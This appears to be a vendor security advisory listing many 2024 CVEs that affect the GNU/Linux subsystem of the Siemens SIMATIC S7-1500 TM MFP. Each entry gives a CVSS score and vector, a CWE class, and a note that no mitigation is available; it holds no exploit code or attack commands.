SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39502

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39503

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-39509

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40905

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40912

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40916

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40934

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

CWE-404 - Improper Resource Shutdown or Release

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40941

4.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40942

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-402 - Transmission of Private Resources into a New Sphere ('Resource Leak')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40945

6.8 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

CWE-393 - Return of Wrong Status Code

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40958

4.0 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40959

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40960

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40961

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40971

4.0 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40978

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40980

5.9 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40984

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40993

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-40995

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41000

5.9 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-190 - Integer Overflow or Wraparound

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41004

5.9 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41005

4.9 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41006

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

CWE-404 - Improper Resource Shutdown or Release

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41016

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-41996

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-295 - Improper Certificate Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42070

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42082

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42090

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-833 - Deadlock

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42093

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42094

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42096

5.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42097

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42114

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42259

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-131 - Incorrect Calculation of Buffer Size

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42265

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-99 - Improper Control of Resource Identifiers ('Resource Injection')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42272

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42276

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42281

5.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42283

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42292

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42302

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42304

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42305

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42306

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-42312

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43828

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43830

6.6 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43834

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43856

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43858

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43871

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43879

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43882

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43889

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43890

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-43893

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44935

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44944

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-401 - Missing Release of Memory after Effective Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44948

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44960

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44987

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44989

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-44990

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-45016

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-45018

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-456 - Missing Initialization of a Variable

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46679

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46743

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46744

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46745

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46750

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-413 - Improper Resource Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46759

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-124 - Buffer Underwrite ('Buffer Underflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46783

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-229 - Improper Handling of Values

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

